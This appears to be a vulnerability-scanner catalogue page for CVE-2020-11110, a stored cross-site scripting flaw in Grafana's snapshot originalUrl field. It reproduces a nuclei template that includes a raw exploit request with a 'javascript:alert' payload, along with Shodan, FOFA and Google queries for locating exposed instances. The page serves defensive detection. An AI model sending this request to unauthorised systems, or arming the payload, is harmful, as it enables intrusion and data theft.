Browse / CVEs / CVE-2020-11110
CVE-2020-11110· grafana / grafana· CWE-79
Grafana <= 6.7.1 - Cross-Site Scripting
Grafana through 6.7.1 contains an unauthenticated stored cross-site scripting vulnerability due to insufficient input protection in the originalUrl field, which allows an attacker to inject JavaScript code that will be executed after clicking on Open Original Dashboard after visiting the snapshot.
Impact
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions.
Fix
This issue can be resolved by updating Grafana to the latest version.
How to confirm it
Send: POST /api/snapshots
Positive when: contains in header "application/json" AND contains "\"deleteKey\":" and "\"deleteUrl\":" AND status 200Run it with nuclei: nuclei -id CVE-2020-11110 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2020-11110
info:
name: Grafana <= 6.7.1 - Cross-Site Scripting
author: emadshanab
severity: medium
description: Grafana through 6.7.1 contains an unauthenticated stored cross-site scripting vulnerability due to insufficient input protection in the originalUrl field, which allows an attacker to inject JavaScript code that will be executed after clicking on Open Original Dashboard after visiting the snapshot.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft or unauthorized actions.
remediation: This issue can be resolved by updating Grafana to the latest version.
reference:
- https://github.com/grafana/grafana/pull/23254
- https://security.netapp.com/advisory/ntap-20200810-0002/
- https://nvd.nist.gov/vuln/detail/CVE-2020-11110
- https://hackerone.com/reports/1329433
- https://github.com/grafana/grafana/blob/master/CHANGELOG.md
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
cvss-score: 5.4
cve-id: CVE-2020-11110
cwe-id: CWE-79
epss-score: 0.09619
epss-percentile: 0.95523
cpe: cpe:2.3:a:grafana:grafana:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: grafana
product: grafana
shodan-query:
- title:"Grafana"
- cpe:"cpe:2.3:a:grafana:grafana"
- http.title:"grafana"
fofa-query:
- title="grafana"
- app="grafana"
google-query: intitle:"grafana"
tags: cve2020,cve,xss,grafana,hackerone,vuln
http:
- raw:
- |
POST /api/snapshots HTTP/1.1
Host: {{Hostname}}
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Referer: {{BaseURL}}
content-type: application/json
Connection: close
{"dashboard":{"annotations":{"list":[{"name":"Annotations & Alerts","enable":true,"iconColor":"rgba(0, 211, 255, 1)","type":"dashboard","builtIn":1,"hide":true}]},"editable":true,"gnetId":null,"graphTooltip":0,"id":null,"links":[],"panels":[],"schemaVersion":18,"snapshot":{"originalUrl":"javascript:alert('Revers3c')","timestamp":"2020-03-30T01:24:44.529Z"},"style":"dark","tags":[],"templating":{"list":[]},"time":{"from":null,"to":"2020-03-30T01:24:53.549Z","raw":{"from":"6h","to":"now"}},"timepicker":{"refresh_intervals":["5s","10s","30s","1m","5m","15m","30m","1h","2h","1d"],"time_options":["5m","15m","1h","6h","12h","24h","2d","7d","30d"]},"timezone":"","title":"Dashboard","uid":null,"version":0},"name":"Dashboard","expires":0}
matchers-condition: and
matchers:
- type: word
part: header
words:
- application/json
- type: word
part: body
words:
- '"deleteKey":'
- '"deleteUrl":'
condition: and
- type: status
status:
- 200
extractors:
- type: regex
group: 1
regex:
- '"url":"([a-z:/0-9A-Z]+)"'
part: bodyReferences
- https://github.com/grafana/grafana/pull/23254
- https://security.netapp.com/advisory/ntap-20200810-0002/
- https://nvd.nist.gov/vuln/detail/CVE-2020-11110
- https://hackerone.com/reports/1329433
- https://github.com/grafana/grafana/blob/master/CHANGELOG.md
Use this check only on systems you are authorised to test. Where the data comes from